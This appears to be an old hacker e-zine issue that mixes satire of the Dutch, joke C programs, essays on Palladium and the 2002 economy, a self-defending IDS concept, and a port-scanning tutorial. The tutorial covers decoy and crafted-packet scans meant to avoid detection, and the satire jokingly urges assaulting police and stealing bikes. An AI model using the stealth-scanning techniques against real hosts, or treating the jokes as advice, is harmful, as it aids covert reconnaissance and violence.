8. It is not necessary to show an interest in tulips, windmills, wooden shoes
or cheese. Every Hollander knows that you came for the softdrugs or the Amsterdam red light district, the Walletjes. Both are available in a large quantity 
and are easy to find. Ask any Hollander age six or older or any French tourist 
(see items 19 & 20) 

9. Avoid fans of soccer games at all cost. Soccer in Holland is merely an
excuse used for bashing in the brains of just about everyone else, including 
yours, after the game is won. ...Or lost...Or if it is a draw. It is also 
very unwise to stand near a policeman during these festivities. (see item 10) 
Also, whenever there's a Hollander around: "Don't mention the '74 final!". 
You'll end up in an ongoing discussion about how well the Orange team played 
and how marvellous it is that a small country like Holland has such a good 
team and blah-de-blah-de-blah. 

10. Policemen in Holland may be used for throwing things at. If you feel like 
hitting someone or something, use a policeman. No Hollander will pay any 
attention if you decide to hit, maim, or kick a policeman in the groin. 
Policemen represent authority and no Hollander recognizes any authority 
higher than himself. You may also note that a lot of Hollandse policemen are 
in fact foreigners tricked into taking the job. 

11. Hollanders do not like to spend money, they'd sooner cut off their own 
ears. A Hollander will become a friend for life if you give him something for 
free. (Note: Social diseases are an exception) LOL This might explain the 
success of MacDonald's in Holland. The story that copper wire is an invention 
of two Hollanders fighting over a found cent is absolutely true. 

12. Holland is small. There is a rumour that Holland is put inside during 
rainstorms. Not true, but that is mainly because it rains about 365 days each 
year. This might also explain those wooden shoes: They float. Yes, Holland is 
small and Hollanders are proud of it. They will grab every opportunity to 
point out to you that the nation has accomplished great things, despite of it 
being so small. A suitable answer to this swank is the Hollander's 
imperialistic past. Wich brings us -rather nicely- to item 13. 

13. If you wish to insult a Hollander -and sooner or later you will - simply 
tell him you don't think he is a pacifist. Now immediately start running for 
your life. He'll want to prove to you that he is a peace loving person and he 
won't stop proving this until your intestines are scattered all over the 
floor. However, mentioning a supposedly imperialistic past considering 
Surinam and/or Indonesia, will instantly reduce a Hollander to a pathetic, 
sniffing and crying child, begging for forgiveness. 

14. The Hollanders are supposed to be tolerant. They are not. They simply make
too much money from the sale of soft- and hard-drugs, Malaysian women and 
pornography to foreigners to let an opportunity for making a good profit go by. 

15. The main form of public transportation in Holland is bikes. Feel free to 
take any bike of which you are able to pick the lock. Don't expect your own 
bike however to be where you left it three minutes earlier. The hunting season
for bikes is open 365 days a year. Have fun. 

16. At nearly every meal in Holland you will find a small vicious looking 
blade with a slit in it. It is called a "kaasschaaf" and is used for taking 
very thin (the see-through kind) slices of the cheese. Yes, it is indeed an 
invention made by a Nederlander. Never cut cheese with a knife, you'll make 
an utter fool of yourself. Another peculiar dinner tool is the
 "flessenlikker", which literally means "bottle-licker", but which is best 
translated by "yoghurt-scraper". Note that this tool is not meant to get rid 
of an itchy back or for your nightly escapades. It's designed to clean out 
bottles of yoghurt or "vla" which is a sort of custard. The Nederlanders 
wants to use absolutely every millilitre of the yoghurt or 'vla' he bought. 
He paid for all of it and he'll jolly well eat all of it. 

17. At the time of this writing, the Hollandse economy is doing quite well. 
The Hollanders say that this is the result of extensive negotiating between 
parties like the unions, the employers and the government. They even have a 
name for this: The polder model. Foreigners are made to believe that this 
polder model is the key to a healthy economy and if others should follow this 
polder model, their economy's will also improve dramatically. This is utter 
nonsense. Hollanders just love to talk and talk and talk. Calling all this 
talking negotiations only gives them a sense of doing something useful. Talk 
is not cheap in Holland. 

18. Hollanders like to drown fried potato's in litres of mayonnaise and put 
it in small paper bags. This is called "een patatje met". One of these bags 
can sustain life over an indefinite period. Not everyone agrees if it is the 
sort of life worth living. Some foreigners however are reported to have 
actually liked eating it. 

19. Hollanders have a special and unique service for -mainly- French tourists.
As soon as they cross the border between Belgium and Holland, they are 
welcomed enthusiastically by young men in fast cars. These young people wish 
to point out to the French tourist where the more interesting touristy places 
in Holland can be found. Strangely enough they always seem to end up in a 
coffee shop (see item 20). Funny people those French. 

20. There is a fast and guaranteed way of making a complete fool of yourself 
in Holland: Enter a coffee shop and ask for a cappuccino. Coffee shops do not
 -remember this- do not sell coffee. You can however get a good number of 
other stimulating drugs there. For some unknown reason coffee shops are 
extremely popular with French tourists. 

21. A Fries is a semi-detached sort of Nederlander, living in the north of 
the country in a province all for himself. He is fond of frozen water, 
Beerenburg (which is a form of euthanasia with alcohol) and continuously 
pointing out to non-Fries Hollanders that they are -indeed- not Fries. The 
rest of the Hollanders look upon this behaviour with the good natured 
ambivalent feelings that parents have for an obstinate child. 

22. On the matter of what books to buy before you come to Holland, I can 
recommend the following: The complete works of William Shakespeare or a 
leather-bound volume of the Encyclopaedia Britannica (the 1913 copy: 
Fr to He). In my experience these two books have just about the right weight 
for clubbing a pushy drug dealer or pimp on the head without leaving any 
marks. After hitting you might want to drop the book you were carrying at 
that moment for a more speedy retreat. Bring plenty of books. 

23. Do not bother to hire a car. Not only can you steal more bikes than you 
will need but car-traffic in Holland is not something you will enjoy. In the 
rest of the world traffic jams are measured in miles or kilometres, 
Nederlandse traffic jams are measured in weeks. As a matter of fact, the more 
persistent traffic-jams are well worth a touristic visit. The sight of 
starving people in an expensive Mercedes can be quite uplifting if you are of 
a philosophic nature. You may want to bring some pieces of bread with you to 
throw through open car windows. The resulting fights can often be worth 
>watching. 

24. Contrary to popular belief, you may not bring your mother-in- law to 
Holland for do-it-yourself euthanasia. Tourists are warned not to take these 
matters into their own hands. 

25. Whether you are catholic, Muslim or worshipper of Urrrgl, god of all 
honest politicians, in Holland you are likely to run into a church, temple or 
oak-tree-and-virgin of your liking. Hollanders are supposed to be very 
tolerant of other believes, ways of life and religious convictions. 
They are not. The only reason for there being so many different churches, 
sects and cults is the fact that Hollanders disagree on just about anything. 
A Hollander is always right (see item 6) and anyone who thinks different than 
him can jolly well bugger off and start his own church. 

26. Holland is a kingdom. It has no king but a queen and her husband is no 
king but a prince. The queen doesn't rule the country -well, not much anyway- 
but she is very good at opening bridges, roads and visiting other countries. 
She is also very decorative at state banquets. Her son, the crown prince, 
will be king as soon as she stops queening (nice word eh?). Now his wife 
won't be a queen but she will be a princess because Nederland is much too 
small for a king and a queen at the same time. On April the 30th its Queen's 
Day, which is not the birthday of the queen, but the birthday of princess 
Juliana the queen's mother (who used to be the queen). It is no wonder that 
more and more Nederlanders wish to make Holland a republic. Queen's Day, by 
the way, has nothing to do with royal festivities. It's just a Hollander's 
excuse to drink large quantities of alcohol. On Queen's Day Hollanders also 
sell garbage in the streets. 

27. It might be wise to learn how to swim if you visit Holland. No, the dikes 
will hold, that is not the problem. The huge amount of ditches, moats, 
canals, rivers and brooks can however lead to mistakes. The shiny nice new 
asphalt road that you wish to drive your car on during a rainstorm, may in 
fact not be a road at all. 

28. The Hollandse art. Most Nederlandse painters get to be famous only after 
they have died. That is a very sensible arrangement from the publics point of 
view. Not only do you get large quantities of paintings -a man has got to eat,
right?- but it also makes a nice investment for art-lovers. The painters 
themselves do not share this view at all but are unable to do anything about 
it. In at least one case the frustration has led to self-mutilation involving
an ear. 

29. If one of your Hollandse friends invites you for a birthday party, 
prepare yourself for a unique experience. Unique, because it can only be 
compared to taking place on a wooden chair which has a sharp nail driven 
through the underside of the seat, and not being able to move for a month. 
More than one foreigner has been driven to the brink of insanity in just one 
evening. A Hollandse birthday party consists of sitting in a chair, talking 
to other Hollanders about your work, your car, foreigners and politics. You 
are expected to leave at 11 pm and you'll gladly do so. 

30. Do not get sick in Nederland. Over the last ten years, the famous 
Hollandse healthcare has been privatised. These days some operations, like 
open heart surgery, have a waiting list of more than six months. The doctors 
don't think that is a problem, "More than half of our patients for open heart 
surgery never even show up anyway" they say. Some Nederlandse patients who 
have become desperate, move to a country like Mozambique, Iraq or Pakistan 
where healthcare is infinitely better. 

31. Nederlanders leave their curtains open in the evening. This used to be so 
that the neighbours could always check if your family didn't gamble or drink 
alcohol. These days it is a precaution against junkies trying to steal the 
stereo from the family car, parked in front of the house. It has the 
fortunate side effect that you can watch Hollanders in their natural 
surroundings, in front of the television, watching soaps. 

32. Holland has more cities than only Amsterdam. ike ..erm. ..Well, it has!! 

33. Hollandse beer has made quite a reputation for itself over the years. 
Some people even drink it. Brewing is indeed one of the things Hollanders 
traditionaly do very well. Holland never used to be a country with anything 
more interesting to do than to drink oneself blind in new and interesting 
ways or make paintings. This made the beer industry very popular. Experts 
claim that once you have drank Hollandse beer like Heineken, Grolsch or 
Amstel, all other beers taste like the tapwater in a Rotterdam hotel. 

34. Hollandse tapwater is safe to drink. This is quite remarkable considering 
that most drinking water comes from poluted rivers like the Rhine. Plans to 
improve the quality of the riverwater, so that fish like salmon will return 
to Hollandse rivers to spawn, can count on strong resistance from the 
Nederlanders. They don't like the idea of animals having sex in their 
drinking water.


--------------------------------------------------------------------------------
[Sex and Geeks Do Not Mix]======================[Vecna <vecna@insertcoint.net> ]
--------------------------------------------------------------------------------

<vecna> mmhh... articles for KV ... did anyone want one specific article ?
<G7> vecna..digi did want one on sex with floppy drives
<vecna:#legions> hahahahaa :) G7, ok :) I should try to write it :) with new
                 /dev/sexfd0 device driver :)

this was the start! the big bang!

make sex with a phisical device or a device driver is not difficult.
sex could be see, if not as good kind of pleasure, or phisical phenomena from
irrationals reciprocals sentiments such love, as a simple intersection from
different kind of device, that produce some kind of sound and liquid.
if we try to apply this concept over out frendly personal computer, we could
not discovery any kind of sound producer than pc speacker and the hd/floppy
head when change place and run.

my latest study about incests, is the link between floppy drivers and prawn, 
if you follow this diagram:

1) prawn live over the sand

2) from the sand we could produce silicon

3) with the silicon we could produce transistors and micro processors and
   FLOPPY DRIVER!

we could think that prawn can be victim of an illusion and make sex with
our floppy driver, for try to do some kind of sexual reproduction.
if not directly with the driver, the driver could be the place of love for
a couple of prawn in love.

1st -> VISUAL <-

take a look www.prawnography.com, is the firs porn site for prawn.

2nd -> AUDIO <-

-- mix.c --
#include <linux/soundcard.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <curses.h>

static int mfd;

void set_mic_vol (int v) 
	{
	if((ioctl(mfd, SOUND_MIXER_WRITE_MIC, &v)) == -1) 
		{
		perror("ioctl: SOUND_MIXER_WRITE_MIC");
		exit(-1);
		}
	}

void set_mixer (int v) 
	{
	if((ioctl(mfd, SOUND_MIXER_WRITE_VOLUME, &v)) == -1) 
		{
		perror("ioctl: SOUND_MIXER_WRITE_VOLUME");
		exit(-1);
		}
	}

int get_mixer (void) 
	{
	int v;
	
	if((ioctl(mfd, SOUND_MIXER_READ_VOLUME, &v)) == -1) 
		{
		perror("ioctl: SOUND_MIXER_READ_VOLUME");
		exit(-1);
		}
	printf("current_vol -> %d\n", v);
	return v;
	}

int main(int ac, char **av) 
	{

	initscr();
	cbreak();
	
	if ((mfd =open("/dev/mixer", O_RDWR)) == -1) 
		{
		perror("open");
		exit(1);
		}
	while (1) 
		{
		int c, cv;

		cv =get_mixer();
		c =getchar();
		clear();
		switch (c) 
			{
			case '[':
				set_mixer(cv - 0x1);
				break;
			case ']':
				set_mixer(cv + 0x1);
				break;
			case 'm':
				set_mic_vol(0x0);
				break;
			case 'n':
				set_mic_vol(0xff);
				break;
			case 'i':
				printw(" --[ insert value: ");
				refresh();
				scanf("%d", &cv);
				refresh();
				set_mixer(cv);
				break;
			default:
				continue;
			}
		mvprintw(0, 0, "current volume: %d\r", cv);
		refresh();
		}

	close(mfd);
	echo();
	nocbreak();
	endwin();
	exit(0);
	}
-- EOF --

this code is without any comment because the C is self explicant.

a good program to give at the friends is another version of sw that always
call our loved ioctl() :)

-- mixfuck.c --
#include <linux/soundcard.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(int ac, char **av) 
	{
	static int mfd;
	void *fuker;
	
	fuker =calloc(0xffffffff, sizeof(char));
	if(fuker ==-1) 
		{
		perror("malloc");
		exit(1);
		}
	if ((mfd =open("/dev/mixer", O_RDWR)) == -1) 
		{
		perror("open");
		exit(1);
		}
	if((ioctl(mfd, SOUND_MIXER_WRITE_VOLUME, fuker)) ==-1) 
		{
		perror("ioctl");
		exit(1);
		}
	close(mfd);
	exit(0);
	}
-- EOF --

with a little immagination, we can discern that this software produce a
sound-like vibration that cause sexual excitation on all prawns on the
range of 300 yards.

3rd -> CEREBRAL EXCITATION FOR NERD-LIKE PRAWN <-

this code show how use vga.h include for linux system, this work could be
run only without frame buffer, and show a mandelbrot fractal. for make a 
porting for framebuffer you should read gpg manual and star to encrypt
all your email, THINK AT YOUR PRIVACY! THE PRIVACY IS THE LATEST OF 
OUR DIRICTS ON THE NET!

for a correct use of gpg, you must set gpg.rc on your ~/.mutt directory,
set on ~/.gnupg/options file the line:

keyserver pgp.mit.edu

or another keyserver retrivered by:

host -l pgp.net | grep www (this for see keyserver of pgp.net network)

and on the ~/.mutt/gpg.rc

set pgp_sign_as=0x[your key id]
set pgp_autosign=yes
set pgp_verify_sig=yes

this is the only way for the secure and private communication.

SIGNING ANY PUBLIC EMAIL (unsigned email could be faked at will)
ENCRYPT ANY PRIVATE EMAIL (encrypt only provate things could be the light
for investigation!)

this is mandelbrod/vga code:

-- mandel.c --
#include <vga.h>

#define XMIN -2.25
#define XMAX 2.75
#define YMIN -2.5
#define YMAX 2.5
#define XD (XMAX-XMIN)
#define YD (YMAX-YMIN)
/*
 * x+iy * x+iy * x+iy = xx-yy+2ixy * x + iy = 
 * xxx - xyy + 2ixxy +ixxy - iyyy -2xyy = 
 */
int main(void)
	{
	int x, y;

	vga_init();
	vga_setmode(G640x480x16);

	for (y=0; y<480; y++)
		{
		for (x=0; x<640; x++)
			{
			// -1 < a < 2
			// -1.5 < b < 1.4
			double a=x/640.0*XD+XMIN, b=y/480.0*YD+YMIN;
			int n = 0;
			while (((a*a+b*b) < 10000) && (n < 1024))
				{
				double c = 1 - a*a*a + 3*a*b*b;
				b = -3*a*a*b + b*b*b;
				a = c;
				n++;
				}
			n=1;
			if (a)
				n+=2;
			if (b)
				n+=4;
			vga_setcolor(n);
			vga_drawpixel(x,y);
			}
		}

	getchar();
	vga_setmode(TEXT);
	return 0;
	}
-- EOF --

this could help your prawn how viagra could help mans!

4th -> LAMER NUMERIC HACKING FOR HENANCE PRAWN REPRODUCTION

write 31337 is old and simple, write 111101001101001 sound much better.
also the prawn know it, the prawn want that any people with him
transistors-children count on binary. for this self-realization and 
auto-prawn-god-declaration, the Edict 1st of the Coucil of high horny prawn
have been declared that

ANY HUMAN MUST LIVE UNDER BINARY NUMERIC FORMAT.

for you, the prawn-god have been coded:

-- prawn-god-code.c --
#include <stdio.h>

int main()
	{
	int num, res, b, i, pos=31;
	char str[sizeof(int)*8+1];

	printf("\nInsert number: ");
	scanf("%d", &num);

	str[sizeof(int)*8]='\0';
		
	for (i=0; i<(sizeof(int)*8); i++)
		{
		b=num%2;
		num = num >> 1;
		str[ sizeof(int)*8 - i -1] = b == 1 ? 
				pos=(sizeof(int)*8-i-1),'1' : '0';
	
		}
	printf("%s\n",str + pos);
	}
-- EOF --

p.s. try to read at www.s0ftpj.org/tools/umpf.tar.gz, umpf is the new tool
for transparent encryption, is not very stable, but on few time I think
to release umpf-mp, for linux/solaris/*bsd/AIX, with new features such
keyd auto-killing, secure deletation of old file, secure scattering of password
on the memory, (www.s0ftpj.org check for "linux virtual memory tripping" and
"rape memory for better dinner" two work about direct memory hacking - ptrace(2)
sucks very good)

DIRECT MEMORY HACKING ?

the concept is simple, any process run on virtual space of memory, you
at kernel level could read data not only on virtual space (allocated and
pagined for each process) you can read directly also from the phisical memory.

this can make you able to do a very nice hacks for read and write any process
in memory. at any memory (ptrace(2) is limitated and lame :) under BFi
E-zine was relased two article about this work, the code are explainde
on english, try to search and run it!.

that's all! good prawn reproduction over your best floppy,
happy coding :)

excuse me for the delirum :)

vecna@insertcoint.net, 
thanks to tele/elv/pilo/ralph/vejeta for our old work on swiss :)

make love ? not war.



--------------------------------------------------------------------------------
[Hey, Big Brother]=================================[Yarddog <yard@legions.org> ]
--------------------------------------------------------------------------------

Microsoft has given us an idea of where they want to go with Windows XP
and .Net Server. One of these ideas that they have is to permit only
"approved" software can be installed on their operating system. This
takes them to Palladium.

In WindowsXP, Microsoft has given us the Windows Management
Instrumentation (WMI). The WMI is to give the administrator the
opportunity to remove common access points for execution of software.
This should, in their opinion, increase security and privacy by limiting
the execution of malicious code or unknown code. WindowsXP allows the
administrator to define what is trusted code. This can be done
automatically by policy based approaches. 

There are 3 elements to the policy approach. One, is to define the
policy for domain using the editor. Two, is to download the policy to
the machine. Three, the OS enforces the policy when software is run.
This gives an administrator the ability to choose which software may run
on the machine.

Microsoft states that software restriction policies support the
following four ways to identify software: Hash-A cryptographic
fingerprint of the file; Certificate-A software publisher certificate
used to digitally sign a file; Path-The local or universal naming
convention (UNC) path of where the file is stored; and, the
Zone-Internet Zone.

The hash rule is important as it contains the MD-5 signature. A company
can change the certificate identifying the software by changing the
MD-5. The path rule may generate registry settings. The zone rule simply
identifies where internet explorer downloaded the file from, whether it
is the internet, intranet, trusted zone, restricted site, or my
computer. Microsoft claims the zone rule only applies to the MSI
packages.

In XP, the Group Policy Object (GPO), as we see it here, can be skipped
by using the WMI. "For example, you can create a WMI filter so that a
GPO only applies to machines with a certain service pack (John Lambert,
Microsoft Corporation)." Microsoft further states:

	It is possible to use software restriction policies in a
mixed-mode deployment. That is, 	you do not have to upgrade your
Windows 2000 domain controllers to take advantage of 	software
restriction policies. You can use a Windows XP Professional computer to
edit the 	Group Policy object and configure your software
restriction policy. Windows XP and Windows 	.NET Server machines
that download the GPO will enforce the software restriction policy.
Computers running Windows 2000 will ignore the settings. (John Lambert,
Microsoft 	Corporation).

Microsoft's project "Palladium" will expand on these ideas of
restricting software. There is a business overview white paper of the
project at
http://www.microsoft.com/PressPass/features/2002/jul02/0724palladiumwp.a
sp. 

John Manferdelli, General Manager, Microsoft "Palladium" Business Unit,
states:

	Palladium will greatly reduce the risk of many viruses and
spyware -- software that 	captures and reports information from
inside your PC -- and other attacks. Memory in 	Palladium PCs and other
devices will run only "trusted" code that is physically isolated,
protected, and inaccessible to the rest of the system. Files within the
Palladium 	architecture will be encrypted with secret coding
specific to each PC, making them useless 	if stolen or
surreptitiously copied.
(http://www.microsoft.com/presspass/features/2002/jul02/07-01palladium.a
sp).

Manferdelli further claims that the industry is excited about Palladium.
He admits that Microsoft is still a long way from Palladium. 

The alternative may be open source software. But, can open source
seriously compete with this hegemony? Alexandra Krasne seems to think it
might a different
potential(http://www.nwfusion.com/news/2000/0302msoffice.html). And
Microsoft is reportedly trying to merge .Net with the competitor Apache
Server. "Software titan Microsoft is taking a significant step toward
appeasing the open source community by integrating its .NET Framework
into the Apache Web server, the world's most popular back-end software
for serving up Web pages (Linux Today, Jul 24, 2002)." 

But one must wonder just how far off Big Brother really is...




Credits

John Lambert, Microsoft Corporation
Using Software Restriction Policies in Windows XP and Windows .NET
Server to Protect Against Unauthorized Software
Published: January 2002

Linux Today
http://linuxtoday.com/news_story.php3?ltsn=2002-07-24-017-26-NW-MS-SV

Microsoft Linux: forecast or fantasy?
Despite its denials, Microsoft may not overlook the potential of Linux.
http://www.nwfusion.com/news/2000/0302msoffice.html

Microsoft "Palladium": A Business Overview
Combining Microsoft Windows Features, Personal Computing Hardware, and
Software Applications for Greater Security, Personal Privacy and System
Integrity
http://www.microsoft.com/PressPass/features/2002/jul02/0724palladiumwp.asp


Q&A: Microsoft Seeks Industry-Wide Collaboration for "Palladium"
Initiative
http://www.microsoft.com/presspass/features/2002/jul02/07-01palladium.asp


--------------------------------------------------------------------------------
[The Escalation to Economic Turmoil]==========[OverDose <overdose@legions.org> ]
--------------------------------------------------------------------------------

This article will briefly cover what's going on in American economy and
the repurcussions from past actions by individuals.

It all started one bright September 11th in 2001, then it happened....
terrorist attack on a few of american governmental and economic icons,
being the World Trade Center and the Pentagon.  The following week 
the Dow fell over 200 points, a massive hit to the exchanges.  After this
hit, financial records were scrutinized of Enron (an energy supplier)
and Arthur Anderson (one of the"Big 5" accounting firms)'s aid in 
the deception.  We all know that there was augmentation of financial
records and upon the scouring of which, a lot of executives came under fire. 
One of which, Clifford Baxter, a former vice chairman for Enron 
committed suicide to evade legal effects.  These were two major disasters
affecting the economy.  Alan Greenspan, Chairman Board of Governors of the 
Federal Reserve System, is a direct influence of how  investors feel
about the current status of America's economy.  When he speaks, people
listen.  He introduced a few interest rate cuts to help stimulate the
economy... which worked to a certain degree.  Then we have allegations that 
officials from Enron *AND* Arthur Anderson destroying financial records,
and a few indiscriminants being held accountable for obstruction of
justice for doing so.  After all is said and done, there is a bit of stability
in the exchange and regular trading is sustained.  After all what
happened with Enron, many other companies are scrutinized for their financial
records, as many of them inflated figures  to make their quarterly earnings to
be much higher or their debts to other entities much lower than 
they really are to make themselves look better off to investors so they
would generate capital from these outside investors.
	

	Now here we are post mid-year 2002 and things are getting
worse.  With so many companies  augmenting financial figures, there is
great uncertainty among investors, dropping the dow lower than the 
hit from September 11th.  It can be a viscious cycle: the dow drops and
incites a panic in the market and people sell all they have due to fear of 
losing all they have, and from these drops other are even more fearful 
and begin selling.  President George W. Bush was stated as selling stock
in Harken Energy as an inside trade, since he was head of the board,yet
he didn't.  He claims he filed the form with the SEC( Security and 
Exchange Comittee) and that they had lost the form, then when
questioned about it later stated that it was  Harken's lawyers that were
to blame.  This coming soon after poor corporate reform to disallow any 
mishaps of changing financial information and creating ethical ENFORCABLE
standards.  All of these things are bleeding the trust of investors and
are being felt on wall street and all around the world, as the  Dow drops
bit by bit.

This is just the tip of the iceberg, but I beleive a good enough synopses
to understand what exactly is affecting trading and inherently affecting
the economy of the USA and indirectly the world.  If you want to 
read about other things that Pres Bush has done go to 

	http://www.wage-slave.org/scorecard.html

If you have any questions or comments about this article please email me
at overdose@legions.org


--------------------------------------------------------------------------------
[How To Hack your Way Out Of A Paper Box]==========[Kiddish <kiddish@hehe.com> ]
--------------------------------------------------------------------------------

Title: How To Hack your Way Out Of A Paper Box <b>4 R33t0ddz<b>

Contents:

I.   Introduction

II.   The Box
	
	1. Structure & Layout
	2. Tools of the Trade
	3. Exploiting

III.  Hanky Panky

1. You Put you Right foot out
2. And you shake it all about ...
3. Conclusion
4. Shouts, Insults & Enemies !@#$


I.Introduction

Greetings everyone, welcome to my very first article of "4 R33t0ddz" for 
Legions. This article was developed for personal reasons I would like to
explain here. IRC Is a place where people can communicate with each other over
the net in a single room. There are lamers among us who act like idiots
and think there elite hackers. This goes out to all the lamers out there
who have been flamed at by others because you can't hack your way out of
a paper box. Well this is for you to get back at them :D~


II.The Box

In order to hack the box and show all your elite friends or others that you
are elite too, you must have a map of the box inside, the tools and ways
to us them to be free.
	
1. Structure & Layout
		  
First analyze the box from the inside (since you are inside already).
Look at its hieght, its widthm its dimensions and every corner of the box
to get an understanding of the structure & layout of this box's fingerprints.
There are different boxes out there, from corbord box to wooden box.
		   
2. Tools of the Trade
		
Now we have a concept of the box's structure & layout. We need to use the right
tools to crack open the box. First and foremost, you need a pocket lights so
you can see what your doing obviously :P . Second we need an axe to hack
your way out. Third we need porn magazines (since we are going to stay a
while inside, just something to have "fun" while you rest) . Lastly the
last tool we need (which is an exception for most ) is a geometric ruler
to cut the right size or you could use your fingers or any other parts of
your body.
		
3. Exploiting
	
Yey we got the tools now we need to learn how to use them. Turn on that pocket
lights or flash lights (whatever you wanna call it, this is 4 R33t0ddz)
and hold it with your left hand to have an angle of where your
"hacking".  Get that geo-ruler out or your fingers and start doodling.
Now take that time to rest a bit and take out that porn magazine I
told you to bring and jizz like you never jizzed before (You are half way 
there :P~) . Once you have layed out yout diagram on the wall box start
hacking !@# Get that axe out and hack away, hack every side, every width
and every hieght you made with doodle. 

III.   Hanky Panky

1. You Put your Right foot out (I can't explain that enough 4 R33t0ddz)
		
2. And you shake it all about 
			
You must shake it all about because you where all crippled inside the box
and you need the blood to circulate all around your body :)

3. Conclusion

I hope you have learned something today, because if you haven't that's still ok
your very very very special little boy/girl :) . Your friends, enemies and elite
hackers out there will think your real cool and all and when they say "you can't
hack your way out of a paper box" you can tell them "I read "How To Hack your 
Way Out Of A Paper Box <b>4 R33t0ddz<b>" " :) . Make sure you tell them
it's 4 R33t0ddz so they will think your very very very special boy/girl
and they will fear you ;) .

4. Shouts, Insults & Enemies !@#$
	
Shouts go out to everyone on #legions & #isecurity 
Insults go out to 4 <b>r33t0ddz<b> fans :]
Enemies go out to all the bullies out there ... :P~

--------------------------------------------------------------------------------
[Delirious IDS]==============================[Digital Ebola <digi@legions.org> ]
--------------------------------------------------------------------------------

Okay. This is part technical paper, part rant, and part silliness. I am
very very tired. Please forgive me if I get loopy. I came home today, 
and decide to start kludging together a host based IDS script. One part
tripwire, one part common sense, and one part crazyness. I am obviously
expecting a attack on one of my boxen at his moment, and because of all
the craziness going on with the OpenBSD project as of late, I feel that
my paranoia is appropiate. Granted, I will save that discussion for another
rant, but let's just say, I am not at all pleased with what is one of my
most favorite operating systems. I don't like OpenBSD for its 
"security model"; I like it because its compact and runs well on Sparc 
architecture.. Again, that is another rant. I have lost faith. 

As I worked on this mythical IDS script, my thoughts began to wonder 
to kernel trojans, and to Tim Lawless's Saint Jude project. So, I got
a flash of inspiration (or insanity).. and I am not sure if this is quite
a original thought, if it already exists, or anything. 

I want to see a host based IDS built of a artifical intelligence type
model. What I mean by that, I want a HID that is intelligent enough to
not only check MD5 sums on certain things, file sizes on other things,
AND presence of certain files, but I also want the thing to defend itself
if a breach occurs. 

Imagine this: Joe Hax0r Kiddy breaks into your box via a user account.
(Damn users!, *sigh, another rant) Now Joe is working on his root 
transition. Well, we can detect this. Just ask Lawless. Now, imagine 
the HID fighting back. Joe gains root, and starts replacing files. The 
HID logs into another machine and copies backups into place - ON THE FLY.

This is going to gain us several advantages. First, we have a record of 
the intrusion on a offsite machine. Second, Joe Hax0r Kiddy thinks that
he has successfully backdoored the machine. He may just leave the system
with that impression. Third, if this pans out correctly, no future attackers
can penetrate the machine after Joe leaves.

In essence, the HID is protecting the machine proactively in real time. 
Something a IDS is generally not supposed to be able to do. 

A list of features would be as follows:

1. Joe loads a kernel module. HID unloads it. (Time delay?)
2. Joe replaces files. HID replaces files from known good backup (off site)
3. Joe pounds at machine. HID calls for help. (pager, cellphone)
4. Worst case scenario - HID realizes with some unknown logic that it cannot
   cope with Joe Hax0r Kiddy. HID decides to call for help, and shut itself
   down. 
5. Email to all users on the system that data integrity has been lost. 
6. HID detects the method of root compromise and searches for a patch on 
its own. Once it finds a patch, it downloads it and installs it. (CVS?)
7. HID tracks Joe's IP of origin (IP registry, nslookup, traceroute, domain 
information) and mails a off-site email this information. 


The main issues here at present would be making this software totally stealth.
Also, we would want to be 100% sure that events are not false, prompting
a crazy HAL-like HID... I believe this last point is quite possible with 
host-based intrusion. 

Also, there are several obvious ways to defeat the HID:

1. Know that is is present and unload it. Perhaps have a second module to
   call for help when this happens? 
2. Unknown kernel rootkits. 
3. Off-site backup is unreachable. 
4. Total loss of network connectivity. 

I think that what I am describing is possible. Hell, it might already 
exist. I have not slept in a long time, and maybe this is causing a 
effect on me. This paper is to provoke discussion, and happy engineering. 

Look for a more technical paper in next KV.. (I hope theres a next KV)

--------------------------------------------------------------------------------
[Custom TCP Port Scanning using IP Sorcery]==========[Case <phric@legions.org> ]
--------------------------------------------------------------------------------



Custom TCP Port Scanning using IP Sorcery

By Phriction aka Case (phric@legions.org)

Ingredients
-----
IP Sorcery 
http://www.legions.org/~phric/ipsorcery.html
http://www.freshmeat.net/ipsorcery

Paul Oakenfold of course

Also maybe tcpdump we will see.. http://www.tcpdump.org
-----

I think the weakness most port scans have today is the ability to intertwine
with regular traffic. They leave huge fingerprints because of their packet
values. 

For Example:
# nmap -sS -p19 -P0 127.0.0.1 -D192.168.0.8

-----
tcpdump output
-----
00:21:52.770558 localhost.61534 > localhost.chargen: S [tcp sum ok] 1000758013:1000758013(0) win 1024 (ttl 44, id 41523, len 40)
0x0000	 4500 0028 a233 0000 2c06 ee9a 7f00 0001	E..(.3..,.......
0x0010	 7f00 0001 f05e 0013 3ba6 5afd 0000 0000	.....^..;.Z.....
0x0020	 5002 0400 26cb 0000                    	P...&...
00:21:52.772240 192.168.0.8.61534 > localhost.chargen: S [tcp sum ok] 1000758013:1000758013(0) win 1024 (ttl 44, id 9057, len 40)
0x0000	 4500 0028 2361 0000 2c06 2bbe c0a8 0008	E..(#a..,.+.....
0x0010	 7f00 0001 f05e 0013 3ba6 5afd 0000 0000	.....^..;.Z.....
0x0020	 5002 0400 e51b 0000                    	P.......
-----

As you might have noticed my decoy could be easily noticed, both packets
sent have the same sequence number same window size, same ttl. Neither have
a Don't Fragment bit set. Try it yourself the decoys always send the same
data as the normal host. Don't get me wrong nmap is a great scanner and
definitely a great use for quick port scans. I personally think a great job
was done on it but use it wisely young padowin learner.

IP Sorcery is shamelessly promoted in this article please forgive me ;)
IP Sorcery is a commandline or GTK packet generator. The console version
has built in sniffing well in the development version the GTK version will
also have this ability relatively soon as I continue to hack code amongst
other endeavours.

OK lets test this baby out. 

#./ipmagic -is 192.168.0.10 -id www.legions.org -io D -td 22




Received TCP Packet: 
           Src Port: 22	Dst Port: 1920
              Flags: SYN ACK 

----
Oh Happy day the port is open. it is you say, ow can you tell... break;

From IP Sorcery README
TCP--
Usually when you send a SYN packet to an open port it will send
a SYN ACK back to you if it's open, a RST ACK if it's closed
When you send a SYN FIN it will usually send a SYN ACK back if it's open,
or a RST ACK if it's closed.
SYN PSH will send a SYN ACK back if it's open, a RST ACK if it's closed
FIN will send back a RST ACK if it's closed
PSH will send nothing if it's open or RST ACK if it's closed
ACK will usually get a RST back no matter if it's open or closed
No flags will return nothing if it's open, or a RST ACK if it's closed

Now this is if there is no firewall or ipchains or anything of
that nature running. Usually you can tell if a port is denying
access if there is no response to any packets you send at all

----

